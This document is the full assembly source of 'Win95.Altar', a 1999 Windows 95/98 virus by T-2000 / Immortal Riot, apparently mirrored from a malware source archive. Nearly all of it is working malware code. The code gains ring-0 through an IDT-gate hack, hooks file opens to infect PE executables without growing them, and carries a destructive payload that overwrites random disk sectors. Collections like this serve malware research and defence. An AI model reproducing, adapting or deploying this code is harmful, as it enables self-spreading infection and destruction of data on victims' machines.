mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
535 lines
15 KiB
NASM
535 lines
15 KiB
NASM
;============================================================================
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;
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;
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; NAME: Win95.Altar 1.01
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; OS: Windoze 95/98.
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; TYPE: Parasitic resident (VxD) PE-infector.
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; SIZE: Around 800 bytes.
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; AUTHOR: T-2000 / Immortal Riot.
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; E-MAIL: T2000_@hotmail.com
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; DATE: June 1999.
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; DESTRUCTIVE: Yeah.
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;
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; FEATURES:
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;
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; - Gains ring-0 by hacking an IDT-gate.
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; - Hosts don't increase in size.
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; - Payload: random sector-trashing.
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;
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; Here's some simple ring-0 VxD-virus, just to try-out the idea. The trash-
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; chance was set rather high, just to fuck beginners :P
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;
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;============================================================================
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.386p
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.MODEL FLAT
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.CODE
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ORG 0
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EXTRN ExitProcess:PROC
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IFSMgr EQU 0040h
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GetHeap EQU 000Dh
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UniToBCSPath EQU 0041h
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InstallFileSystemAPIhook EQU 0067h
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Ring0_FileIO EQU 0032h
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IFSFN_OPEN EQU 36
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R0_WRITEFILE EQU 0D601h
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Virus_Size EQU (Virus_End-START)
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Virus_Size_Mem EQU (End_Virus_Mem-START)
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START:
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PUSH (1000h+(Carrier-START))
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Host_EIP = DWORD PTR $-4
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PUSHFD
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PUSHAD
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CALL Get_Delta
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MOV EAX, EBP
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SUB EAX, 1000h ; Calculate base-address.
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Virus_RVA = DWORD PTR $-4
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ADD [ESP+(9*4)], EAX ; Add base to the EIP RVA.
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XOR EAX, EAX
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CALL Setup_SEH ; Bail-out without errors
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; under NT.
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MOV ESP, [ESP+(2*4)]
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JMP Return_Host
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Setup_SEH: PUSH DWORD PTR FS:[EAX]
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MOV FS:[EAX], ESP
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PUSH EAX ; Store IDT in EAX.
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SIDT [ESP-2]
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POP EAX
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LEA EBX, [EBP+(Ring0_Installation-START)]
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XCHG [EAX+(3*8)], BX ; Hack IDT-gate.
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ROR EBX, 16
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XCHG [EAX+(3*8)+6], BX
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INT 3
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MOV [EAX+(3*8)+6], BX ; Restore IDT-gate.
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ROL EBX, 16
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MOV [EAX+(3*8)], BX
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Return_Host: XOR EAX, EAX ; Restore the original SEH.
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POP DWORD PTR FS:[EAX]
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POP EAX
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POPAD
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POPFD
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RET ; RETurn to our host.
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Copyright DB '[Altar] by T-2000 / Immortal Riot', 0
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VxD_Ring0_FileIO:
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INT 20h
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DW Ring0_FileIO
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DW IFSMgr
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RET
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Ring0_Installation:
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PUSHFD
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PUSHAD
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MOV EAX, DR2 ; Get DR2 in EAX.
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CMP AL, 'T' ; We're already resident?
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JE Exit_R0_Inst
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LEA EDI, [EBP+(VxD_Ring0_FileIO-START)]
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MOV AX, 20CDh
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STOSW
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MOV [EDI], 00400032h
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MOV [EDI+(VxD_Call_1-VxD_Ring0_FileIO)-2], AX
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MOV [EDI+(VxD_Call_2-VxD_Ring0_FileIO)-2], AX
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MOV [EDI+(VxD_Call_3-VxD_Ring0_FileIO)-2], AX
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MOV [EDI+(VxD_Call_1-VxD_Ring0_FileIO)], 0040000Dh
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MOV [EDI+(VxD_Call_2-VxD_Ring0_FileIO)], 00400067h
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MOV [EDI+(VxD_Call_3-VxD_Ring0_FileIO)], 00400041h
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PUSH Virus_Size_Mem ; Allocate memory from the
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INT 20h ; global heap.
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DW GetHeap
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DW IFSMgr
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VxD_Call_1 = $-6
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POP ECX
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OR EAX, EAX ; Error occurred?
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JZ Exit_R0_Inst
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MOV ESI, EBP ; Copy us to VxD-memory.
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MOV EDI, EAX
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CLD
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REP MOVSB
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MOV [EAX+(Busy_Switch-START)], ECX
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ADD EAX, (Ring0_Hook-START)
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PUSH EAX ; Insert our file-hook.
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INT 20h
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DW InstallFileSystemAPIhook
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DW IFSMgr
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VxD_Call_2 = $-6
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POP EBX
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XCHG ECX, EAX ; Error?
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JECXZ Exit_R0_Inst
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MOV [EBX+(Prev_Handler-Ring0_Hook)], ECX
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MOV AL, 'T' ; Mark us as resident.
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MOV DR2, EAX
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Exit_R0_Inst: POPAD
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POPFD
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IRETD ; Back to our ring-3 part.
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Ring0_Hook:
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JMP $+666h
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Busy_Switch = DWORD PTR $-4
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PUSHFD
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PUSHAD
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CALL Get_Delta
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MOV DWORD PTR [EBP+(Busy_Switch-START)], (JMP_Prev_Hook-Busy_Switch) - 4
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CMP DWORD PTR [ESP+(9*4)+(2*4)], IFSFN_OPEN
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JNE Exit_Infect
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CALL Get_Random
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CMP DL, 5
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JA Obtain_Name
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CALL Get_Random
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MOV AX, 0DE02h ; R0_WRITEABSOLUTEDISK
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INC ECX
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LEA ESI, [EBP+(Copyright-START)]
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CALL VxD_Ring0_FileIO
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Obtain_Name: MOV EBX, [ESP+(9*4)+(6*4)] ; IOREQ-structure.
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MOV ESI, [EBX+(3*4)] ; Unicode-path.
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CLD
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LODSD
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PUSH DWORD PTR [ESP+(9*4)+(5*4)]
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PUSH 259
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PUSH ESI
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LEA ESI, [EBP+(ANSI_Target-START)]
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PUSH ESI
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INT 20h
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DW UniToBCSPath
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DW IFSMgr
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VxD_Call_3 = $-6
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ADD ESP, (4*4) ; Fix stack.
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OR EDX, EDX ; No problems during the
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JNZ Exit_Infect ; conversion?
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MOV [ESI+EAX], DL
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CMP [ESI+EAX-4], 'EXE.' ; Standard .EXE-file?
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JNE Exit_Infect
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XOR EAX, EAX ; R0_OPENCREATFILE
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MOV AH, 0D5h
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PUSH 02h
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POP EBX
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INC EDX
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CALL VxD_Ring0_FileIO
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JC Exit_Infect
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XCHG EBX, EAX ; Save filehandle in EBX.
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XOR EAX, EAX ; R0_GETFILESIZE
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MOV AH, 0D8h
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CALL VxD_Ring0_FileIO
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CMP EAX, 4096 ; Avoid infecting files which
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JC_Close_File: JB Close_File ; are too small.
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MOV [EBP+(Victim_Size-START)], EAX
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LEA EDI, [EBP+(Header-START)]
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; Read-in the DOS MZ-header.
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XOR EAX, EAX ; R0_READFILE
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MOV AH, 0D6h
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PUSH 40h
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POP ECX
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XOR EDX, EDX
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MOV ESI, EDI
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CALL VxD_Ring0_FileIO
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JC JC_Close_File
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CMP [EDI.MZ_Mark], 'ZM' ; It's a valid .EXE-file?
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JNE Close_File
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MOV EDX, [EDI+3Ch] ; Pointer to PE-header.
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MOV [EBP+(PE_Header_Offs-START)], EDX
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; Read-in PE-header.
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XOR EAX, EAX ; R0_READFILE
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MOV AH, 0D6h
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PUSH 92
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POP ECX
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CALL VxD_Ring0_FileIO
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CMP [EDI.PE_Mark], 'EP' ; Verify the PE-header.
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JNE Close_File
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CMP [EDI.PE_Checksum], -666h ; Avoid infected
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JE Close_File ; files.
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MOVZX EAX, [EDI.Object_Count]
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DEC EAX
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PUSH 40
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POP ECX
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MUL ECX
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MOVZX DX, [EDI.NT_Header_Size]
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LEA EDX, [EDX+24+EAX]
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ADD EDX, [EBP+(PE_Header_Offs-START)]
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MOV [EBP+(Last_Obj_Offset-START)], EDX
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; Read-in the last object-header.
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XOR EAX, EAX ; R0_READFILE
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MOV AH, 0D6h
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PUSH 40
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POP ECX
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LEA ESI, [EBP+(Last_Obj_Table-START)]
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CALL VxD_Ring0_FileIO
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MOV EAX, [ESI.Section_Physical_Size]
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CMP EAX, [ESI.Section_Virtual_Size]
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JBE Check_Size
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MOV EAX, [ESI.Section_Virtual_Size]
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Check_Size: PUSH EAX
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MOV ECX, Virus_Size
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ADD EAX, ECX
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ADD EAX, [ESI.Section_Physical_Offset]
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CMP EAX, 12345678h ; File increases in size?
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Victim_Size = DWORD PTR $-4
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POP EAX
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JA Close_File ; Then abort the infect.
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PUSH EAX
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PUSH EAX
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ADD EAX, ECX
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PUSH EAX
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MOV ECX, [EDI.File_Align]
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CALL Align_EAX
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CMP [ESI.Section_Physical_Size], EAX
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JNB Calc_New_Virt
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MOV [ESI.Section_Physical_Size], EAX
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Calc_New_Virt: POP EAX
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MOV ECX, [EDI.Object_Align]
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CALL Align_EAX
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CMP [ESI.Section_Virtual_Size], EAX
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JNB Set_New_EIP
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ADD [EDI.Image_Size], EAX
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XCHG [ESI.Section_Virtual_Size], EAX
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SUB [EDI.Image_Size], EAX
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Set_New_EIP: POP EAX
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ADD EAX, [ESI.Section_RVA]
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MOV [EBP+(Virus_RVA-START)], EAX
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XCHG [EDI.EIP_RVA], EAX
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MOV [EBP+(Host_EIP-START)], EAX
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; Write updated object-header back to disk.
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MOV EAX, R0_WRITEFILE
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PUSH 40
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POP ECX
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MOV EDX, 12345678h
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Last_Obj_Offset = DWORD PTR $-4
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CALL VxD_Ring0_FileIO
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POP EDX
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; Insert virus-body into our victim.
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MOV EAX, R0_WRITEFILE
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MOV ECX, Virus_Size
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ADD EDX, [ESI.Section_Physical_Offset]
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MOV ESI, EBP
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CALL VxD_Ring0_FileIO
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; Mark file as infected.
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MOV [EDI.PE_Checksum], -666h
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; Write updated PE-header back to disk.
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MOV EAX, R0_WRITEFILE
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PUSH 92
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POP ECX
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MOV EDX, 12345678h
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PE_Header_Offs = DWORD PTR $-4
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MOV ESI, EDI
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CALL VxD_Ring0_FileIO
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; Close the file.
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Close_File: XOR EAX, EAX ; R0_CLOSEFILE
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MOV AH, 0D7h
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CALL VxD_Ring0_FileIO
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Exit_Infect: XOR EAX, EAX ; Reset busy-flag.
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MOV [EBP+(Busy_Switch-START)], EAX
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POPAD
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POPFD
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JMP_Prev_Hook: JMP DS:[12345678h]
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Prev_Handler = DWORD PTR $-4
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DB 'Awaiting the sacrifice...', 0
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Align_EAX:
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XOR EDX, EDX
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DIV ECX
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OR EDX, EDX
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JZ Calc_Aligned
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INC EAX
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Calc_Aligned: MUL ECX
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RET
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Get_Delta:
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CALL Get_EIP
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Get_EIP: POP EBP
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SUB EBP, (Get_EIP-START)
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RET
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Get_Random:
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IN EAX, 40h
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ADD EDX, EAX
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Randomize: IN EAX, 40h
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XCHG AH, AL
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ADD EAX, 0DEADBEEFh
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RCL EDX, 3
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XOR EDX, EAX
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LOOP Randomize
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RET
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Virus_End:
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ANSI_Target DB 260 DUP(0)
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Header DB 92 DUP(0)
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Last_Obj_Table DB 40 DUP(0)
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End_Virus_Mem:
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Carrier:
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PUSH 0
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CALL ExitProcess
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; The good old MZ-header...
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MZ_Header STRUC
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MZ_Mark DW 0
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MZ_Image_Mod_512 DW 0
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MZ_Image_512_Pages DW 0
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MZ_Reloc_Items DW 0
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MZ_Header_Size_Mem DW 0
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MZ_Min_Size_Mem DW 0
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MZ_Max_Size_Mem DW 0
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MZ_Program_SS DW 0
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MZ_Program_SP DW 0
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MZ_Checksum DW 0
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MZ_Program_IP DW 0
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MZ_Program_CS DW 0
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MZ_Reloc_Table DW 0
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MZ_Header ENDS
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PE_Header STRUC
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PE_Mark DD 0 ; PE-marker (PE/0/0).
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CPU_Type DW 0 ; Minimal CPU required.
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Object_Count DW 0 ; Number of sections in PE.
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DD 0
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Reserved_1 DD 0
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DD 0
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NT_Header_Size DW 0
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PE_Flags DW 0
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DD 4 DUP(0)
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EIP_RVA DD 0
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DD 2 DUP(0)
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Image_Base DD 0
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Object_Align DD 0
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File_Align DD 0
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DW 0, 0
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DW 0, 0
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DW 0, 0
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PE_Reserved_5 DD 0
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Image_Size DD 0
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Headers_Size DD 0
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PE_Checksum DD 0
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DW 0
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DLL_Flags DW 0
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PE_Header ENDS
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Section_Header STRUC
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Section_Name DB 8 DUP(0) ; Zero-padded section-name.
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Section_Virtual_Size DD 0 ; Memory-size of section.
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Section_RVA DD 0 ; Start section in memory.
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Section_Physical_Size DD 0 ; Section-size in file.
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Section_Physical_Offset DD 0 ; Section file-offset.
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Section_Reserved_1 DD 0 ; Not used for executables.
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Section_Reserved_2 DD 0 ; Not used for executables.
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Section_Reserved_3 DD 0 ; Not used for executables.
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Section_Flags DD 0 ; Flags of the section.
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Section_Header ENDS
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END START
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